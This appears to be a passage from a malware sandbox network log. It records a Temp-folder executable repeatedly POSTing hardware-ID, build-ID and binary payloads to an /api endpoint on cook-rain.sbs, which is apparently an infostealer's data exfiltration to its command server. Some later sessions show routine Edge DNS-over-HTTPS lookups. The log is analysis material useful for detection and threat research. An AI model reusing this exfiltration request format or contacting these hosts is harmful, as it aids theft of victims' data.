2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 65 41 57 36 38 67 66 32 6a 53 61 69 53 4a 6f 58 73 7a 72 78 41 53 6d 66 4e 4d 52 55 4c 47 7a 71 41 39 6f 48 70 66 36 2f 62 71 52 38 51 61 32 2f 48 72 4b 4f 4c 65 63 54 31 68 43 36 50 50 34 50 4a 70 55 34 7a 52 35 6e 4c 4f 59 59 6c 56 76 6a 32 36 74 74 6f 33 67 41 74 50 51 4e 2b 59 38 73 70 45 32 51 58 50 70 35 2b 52 31 67 79 58 33 72 44 32 38 67 36 6c 75 46 45 66 79 66 6f 32 48 6f 4b 55 47 35 2f 51 50 31 69 53 79 6b 51 35 4d 59 76 6a 7a 2b 44 54 4b 5a 50 63 77 47 63 43 7a 6b 48 70 5a 63 35 64 75 69 5a 4b 35 79 42 66 4b 2f 52 2f 57 52 59 66 38 4c 75 78 43 7a 45 50 6b 65 59 49 35 7a 30 6c 52 6c 49 4b 31 44 32 6c 37 75 31 61 74 67 71 33 63 43 75 66 51 4e 38 34 34 70 71 6c 6d 56 45 37 73 39 2f 67 6f 6d 6c 7a 7a 45 45 6d 55 6c 37 42 4f 64 48 36 75 66 6f 33 58 Data Ascii: eAW68gf2jSaiSJoXszrxASmfNMRULGzqA9oHpf6/bqR8Qa2/HrKOLecT1hC6PP4PJpU4zR5nLOYYlVvj26tto3gAtPQN+Y8spE2QXPp5+R1gyX3rD28g6luFEfyfo2HoKUG5/QP1iSykQ5MYvjz+DTKZPcwGcCzkHpZc5duiZK5yBfK/R/WRYf8LuxCzEPkeYI5z0lRlIK1D2l7u1atgq3cCufQN844pqlmVE7s9/gomlzzEEmUl7BOdH6ufo3X
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 76 59 51 2f 63 6c 76 35 30 54 57 52 49 31 35 39 77 49 37 67 43 76 47 42 47 56 73 30 6c 58 61 52 36 57 48 35 46 69 72 66 77 2b 31 35 78 61 2f 72 6a 65 74 54 49 59 62 6f 7a 61 2b 53 32 43 58 66 5a 4e 48 4c 47 7a 70 43 74 6f 48 74 59 33 2f 4f 50 73 6d 55 65 44 75 53 65 76 4a 4e 2b 63 54 78 46 4c 30 4b 37 35 64 59 4e 59 2b 32 51 5a 6b 4c 2f 73 59 33 57 48 62 2b 4c 35 67 72 6d 59 51 6a 4d 38 41 36 49 51 6e 73 46 72 61 43 62 63 33 38 41 49 32 30 58 4f 4c 47 79 4a 30 31 46 76 53 48 39 71 52 35 48 58 6f 4b 55 47 48 38 67 6e 38 6a 6a 65 32 42 72 45 47 75 54 2f 70 46 47 44 66 66 63 31 55 4f 6e 79 6a 57 35 35 4f 70 59 66 30 50 2f 4d 6b 55 75 57 68 56 65 33 48 4f 4f 64 64 31 6b 54 6d 64 37 34 58 59 4d 6c 39 6a 42 64 77 50 75 73 59 6a 46 79 69 34 5a 70 44 72 33 63 45 Data Ascii: vYQ/clv50TWRI159wI7gCvGBGVs0lXaR6WH5Firfw+15xa/rjetTIYboza+S2CXfZNHLGzpCtoHtY3/OPsmUeDuSevJN+cTxFL0K75dYNY+2QZkL/sY3WHb+L5grmYQjM8A6IQnsFraCbc38AI20XOLGyJ01FvSH9qR5HXoKUGH8gn8jje2BrEGuT/pFGDffc1UOnyjW55OpYf0P/MkUuWhVe3HOOdd1kTmd74XYMl9jBdwPusYjFyi4ZpDr3cE
2024-11-18 12:30:29 UTC	1016	IN	Data Raw: 57 66 4d 4f 70 73 6d 42 75 31 4c 2b 34 53 4c 39 46 7a 69 78 49 69 64 4c 39 56 32 6c 76 30 6e 2f 77 39 2b 69 70 55 34 61 5a 58 6f 4a 5a 76 76 67 75 41 58 4f 78 72 73 45 55 79 30 57 57 4c 55 32 45 2b 2f 78 32 5a 53 65 61 59 6d 6c 4f 50 66 77 61 7a 35 78 66 6c 68 6d 36 4a 66 62 63 69 69 69 7a 39 43 79 36 57 4b 39 70 55 4c 47 7a 69 57 38 4a 6d 70 5a 66 6b 55 75 59 78 47 66 4b 70 52 38 65 4b 4c 36 6c 4d 67 41 33 35 48 76 41 43 49 59 63 74 33 42 73 74 41 74 73 36 32 68 47 6c 32 65 51 31 2b 6a 39 42 74 75 42 48 71 74 6c 7a 2f 42 37 46 53 2b 52 72 34 55 73 35 30 53 75 4c 54 44 42 69 72 51 6e 61 42 36 57 59 70 33 2b 36 64 77 4b 6b 38 6b 44 4d 74 77 61 70 54 4a 63 4b 70 44 54 79 4a 43 4f 41 4e 2f 55 71 64 79 2f 6a 46 5a 31 4a 39 4a 2f 71 4c 61 63 78 57 59 75 78 54 Data Ascii: WfMOpsmBu1L+4SL9FzixIidL9V2lv0n/w9+ipU4aZXoJZvvguAXOxrsEUy0WWLU2E+/x2ZSeaYmlOPfwaz5xflhm6Jfbciiiz9Cy6WK9pULGziW8JmpZfkUuYxGfKpR8eKL6lMgA35HvACIYct3BstAts62hGl2eQ1+j9BtuBHqtlz/B7FS+Rr4Us50SuLTDBirQnaB6WYp3+6dwKk8kDMtwapTJcKpDTyJCOAN/Uqdy/jFZ1J9J/qLacxWYuxT
2024-11-18 12:30:29 UTC	1369	IN	Data Raw: 31 65 66 63 0d 0a 4c 65 59 78 44 2f 4b 70 52 2f 4f 44 4d 61 70 45 6b 56 43 79 4e 2f 42 46 50 39 38 6b 69 77 49 69 64 4c 35 56 32 6b 32 6c 68 2b 51 71 70 6e 77 41 73 66 38 45 34 4a 73 6e 70 46 32 56 57 34 6f 48 32 77 67 74 6c 44 50 4d 4b 6c 77 4e 35 77 75 58 55 4f 4b 64 68 47 71 2b 63 6a 2b 4d 78 68 62 31 6d 57 4f 42 53 49 41 66 39 48 65 2b 48 57 44 4a 66 65 6f 65 63 69 48 69 48 4e 68 2f 34 73 6d 6e 4c 65 59 78 42 66 4b 70 52 39 65 45 4c 4b 4a 46 6b 56 36 56 4d 2b 34 49 4c 35 5a 2f 36 78 4e 30 4c 36 31 56 32 6c 4f 6c 68 2b 52 73 6f 6d 45 4d 76 66 5a 4c 39 5a 4d 6d 35 77 58 57 45 76 52 68 76 67 51 71 67 54 44 45 45 79 34 71 34 78 58 61 51 4b 76 47 35 48 76 6f 4b 56 4c 38 73 52 57 79 30 57 48 67 53 49 51 4f 73 6a 72 6f 42 6d 65 76 41 2b 59 47 5a 54 7a 75 57 Data Ascii: 1efcLeYxD/KpR/ODMapEkVCyN/BFP98kiwIidL5V2k2lh+QqpnwAsf8E4JsnpF2VW4oH2wgtlDPMKlwN5wuXUOKdhGq+cj+Mxhb1mWOBSIAf9He+HWDJfeoeciHiHNh/4smnLeYxBfKpR9eELKJFkV6VM+4IL5Z/6xN0L61V2lOlh+RsomEMvfZL9ZMm5wXWEvRhvgQqgTDEEy4q4xXaQKvG5HvoKVL8sRWy0WHgSIQOsjroBmevA+YGZTzuW

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
62	192.168.2.8	49851	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:30 UTC	278	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=93LGRMS64USU2F1EX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 12846 Host: cook-rain.sbs
2024-11-18 12:30:30 UTC	12846	OUT	Data Raw: 2d 2d 39 33 4c 47 52 4d 53 36 34 55 53 55 32 46 31 45 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 39 33 4c 47 52 4d 53 36 34 55 53 55 32 46 31 45 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 39 33 4c 47 52 4d 53 36 34 55 53 55 32 46 31 45 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 72 61 66 Data Ascii: --93LGRMS64USU2F1EXContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--93LGRMS64USU2F1EXContent-Disposition: form-data; name="pid"2--93LGRMS64USU2F1EXContent-Disposition: form-data; name="lid"LOGS11--LiveTraf
2024-11-18 12:30:31 UTC	1015	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:31 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=lp9ue41tlv5494th78ckv14vs9; expires=Fri, 14-Mar-2025 06:17:09 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=DLnFdYoaynFoztD2vWdgHLCVytNTLmfG8qPeBqgrZwtake4%2FALRRs%2BqKvtrx%2Blp%2BdZOagaj7TQKBJR58SJp7C9NIcu%2FU5dO3b4%2BWBnUwARVhGijhd6eiK%2BMIHpzPrzCy"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f8e07a9c4775-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1148&sent=9&recv=18&lost=0&retrans=0&sent_bytes=2829&recv_bytes=13782&delivery_rate=2500863&cwnd=251&unsent_bytes=0&cid=914da85d73e329a2&ts=1464&x=0"
2024-11-18 12:30:31 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:30:31 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
63	192.168.2.8	49854	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:33 UTC	279	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=KX7CSNRT7TFMS9YKUR User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 19206 Host: cook-rain.sbs
2024-11-18 12:30:33 UTC	15331	OUT	Data Raw: 2d 2d 4b 58 37 43 53 4e 52 54 37 54 46 4d 53 39 59 4b 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 4b 58 37 43 53 4e 52 54 37 54 46 4d 53 39 59 4b 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 32 0d 0a 2d 2d 4b 58 37 43 53 4e 52 54 37 54 46 4d 53 39 59 4b 55 52 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 76 65 54 Data Ascii: --KX7CSNRT7TFMS9YKURContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--KX7CSNRT7TFMS9YKURContent-Disposition: form-data; name="pid"2--KX7CSNRT7TFMS9YKURContent-Disposition: form-data; name="lid"LOGS11--LiveT
2024-11-18 12:30:33 UTC	3875	OUT	Data Raw: d9 b0 5c ad ce 52 c0 88 f1 8d 11 21 11 85 25 88 04 09 61 e1 31 22 81 b1 70 9c 5c 0b cb 50 85 5a 25 d5 a1 72 41 b4 38 41 14 25 92 08 c4 71 09 02 71 62 4c 8c 6f a6 1a 41 a5 59 f0 62 41 82 28 39 c1 54 8c aa 35 d2 74 ad 4c 09 4b 11 ec d9 d3 c2 0d 2a ac 6e 40 51 ae 2c 5b 37 b0 0c 56 c9 b5 8b 35 28 9c 26 ed ad 0d 8f 89 0b 37 d5 6a 64 68 e6 c0 06 1f 69 14 5a 18 b1 4c 56 81 48 11 58 ae d3 c2 16 ab 32 51 54 a3 56 65 2f 1e 5c 99 2d c3 9c 94 c9 e5 30 32 44 c7 99 32 44 6a b4 6c b1 6b 0d ac 45 14 08 0a ab d0 c1 d5 1a ad 42 ad 55 a0 16 cc 22 d8 18 e1 c3 67 a1 46 ad d3 ca b1 b1 95 67 c2 ca a1 ab 35 6a 2d 6a 79 10 f0 89 d1 c8 b4 e8 50 be ea 34 69 32 6c da 2c fa 2a c0 3a 80 d3 32 e0 6c 38 43 26 5f dc 1b 25 7d 77 45 8a a6 85 25 c6 24 08 c6 fb 0a 52 b5 ea 45 08 ac 95 6a b4 Data Ascii: \R!%a1"p\PZ%rA8A%qqbLoAYbA(9T5tLKn@Q,[7V5(&7jdhiZLVHX2QTVe/\-02D2DjlkEBU"gFg5j-jyP4i2l,:2l8C&_%}wE%$REj
2024-11-18 12:30:34 UTC	1004	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:34 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=2la8nksde6alqahqi8i2q0041q; expires=Fri, 14-Mar-2025 06:17:12 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=azNldXwQqBSoIfoR%2FjupJTwkV4GYmCMavdfvKH4Q5vqOATsD2GMR2b5Dhca0lTaytSv3n1kOKbkWyyvZBMENEBNjnBNbhWMqmJfonj2uHzo9df3OcT64XEb9M57vdV5q"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f8f1396ee5ad-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1314&sent=16&recv=23&lost=0&retrans=0&sent_bytes=2830&recv_bytes=20165&delivery_rate=2212375&cwnd=250&unsent_bytes=0&cid=0b57562846bd2290&ts=1863&x=0"
2024-11-18 12:30:34 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:30:34 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
64	192.168.2.8	49855	188.114.96.3	443	5716	C:\Users\user\AppData\Local\Temp\1007149001\d7f88d1a57.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:36 UTC	280	OUT	POST /api HTTP/1.1 Connection: Keep-Alive Content-Type: multipart/form-data; boundary=WXBSUL7N2VPUIL26HMX User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Content-Length: 20254 Host: cook-rain.sbs
2024-11-18 12:30:36 UTC	15331	OUT	Data Raw: 2d 2d 57 58 42 53 55 4c 37 4e 32 56 50 55 49 4c 32 36 48 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 43 45 42 32 39 43 43 38 46 35 46 38 31 30 32 42 46 37 30 30 35 44 37 42 32 30 31 32 37 41 38 38 0d 0a 2d 2d 57 58 42 53 55 4c 37 4e 32 56 50 55 49 4c 32 36 48 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 70 69 64 22 0d 0a 0d 0a 33 0d 0a 2d 2d 57 58 42 53 55 4c 37 4e 32 56 50 55 49 4c 32 36 48 4d 58 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 6c 69 64 22 0d 0a 0d 0a 4c 4f 47 53 31 31 2d 2d 4c 69 Data Ascii: --WXBSUL7N2VPUIL26HMXContent-Disposition: form-data; name="hwid"CEB29CC8F5F8102BF7005D7B20127A88--WXBSUL7N2VPUIL26HMXContent-Disposition: form-data; name="pid"3--WXBSUL7N2VPUIL26HMXContent-Disposition: form-data; name="lid"LOGS11--Li
2024-11-18 12:30:36 UTC	4923	OUT	Data Raw: fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 23 d1 61 a9 ef 87 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 3e 37 1c 1d 96 fa 7e 18 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 73 c3 c1 e7 62 c9 e0 95 58 f0 4a f0 ab c1 ff 36 1e 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 fc e4 dd 93 3c 16 af 54 8b b3 c5 72 6e a6 5a 98 2a 94 a7 ae e5 a6 2a 8d 72 3d 31 9a 3c bc 29 a5 d6 98 ff 70 58 68 ff bb af ff fe e4 44 a2 4b 2d b9 ca 4c ae 76 b9 91 af 16 6a c9 bb 46 a2 8c 4b 7d 38 f8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: ~s#a>7~sbXJ6<TrnZ**r=1<)pXhDK-LvjFK}8
2024-11-18 12:30:38 UTC	1011	IN	HTTP/1.1 200 OK Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close Set-Cookie: PHPSESSID=pdcqotnkk0d1n5l2o821s8fsg5; expires=Fri, 14-Mar-2025 06:17:16 GMT; Max-Age=9999999; path=/ Expires: Thu, 19 Nov 1981 08:52:00 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache cf-cache-status: DYNAMIC vary: accept-encoding Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=qh5ws2mk%2FdZCLn%2BZzfgKitVasXCGPWbKWH1SLSyUAS7TAyIZ4R5DFN46os%2B2RCY1xNTecRClpYffXUqT2PlKgK0FO6qTE2X3ScbU%2FS3KfT9H%2BSqNRK667tHmifY9yyBb"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e47f90689892e4e-DFW alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1495&sent=14&recv=28&lost=0&retrans=0&sent_bytes=2829&recv_bytes=21214&delivery_rate=1897771&cwnd=32&unsent_bytes=0&cid=0f12999a38050181&ts=1976&x=0"
2024-11-18 12:30:38 UTC	23	IN	Data Raw: 31 31 0d 0a 6f 6b 20 31 35 35 2e 39 34 2e 32 34 31 2e 31 38 37 0d 0a Data Ascii: 11ok 155.94.241.187
2024-11-18 12:30:38 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
65	192.168.2.8	49859	172.64.41.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f910ed14e7b3-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:30:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 d2 00 04 8e fa 71 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomq^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
66	192.168.2.8	49858	172.64.41.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f910e9b81443-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:30:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 00 61 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcomar^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
67	192.168.2.8	49861	172.64.41.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:38 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f914dcec2e6b-DFW alt-svc: h3=":443"; ma=86400
2024-11-18 12:30:38 UTC	468	IN	Data Raw: 00 00 81 80 00 01 00 01 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 c0 0c 00 01 00 01 00 00 01 2c 00 04 8e fa 72 5e 00 00 29 04 d0 00 00 00 00 01 98 00 0c 01 94 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom,r^)

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
68	192.168.2.8	49863	172.64.41.3	443	9064	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-18 12:30:38 UTC	245	OUT	POST /dns-query HTTP/1.1 Host: chrome.cloudflare-dns.com Connection: keep-alive Content-Length: 128 Accept: application/dns-message Accept-Language: * User-Agent: Chrome Accept-Encoding: identity Content-Type: application/dns-message
2024-11-18 12:30:38 UTC	128	OUT	Data Raw: 00 00 01 00 00 01 00 00 00 00 00 01 03 77 77 77 07 67 73 74 61 74 69 63 03 63 6f 6d 00 00 01 00 01 00 00 29 10 00 00 00 00 00 00 54 00 0c 00 50 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: wwwgstaticcom)TP
2024-11-18 12:30:39 UTC	247	IN	HTTP/1.1 200 OK Server: cloudflare Date: Mon, 18 Nov 2024 12:30:38 GMT Content-Type: application/dns-message Connection: close Access-Control-Allow-Origin: * Content-Length: 468 CF-RAY: 8e47f914fb003acf-DFW alt-svc: h3=":443"; ma=86400
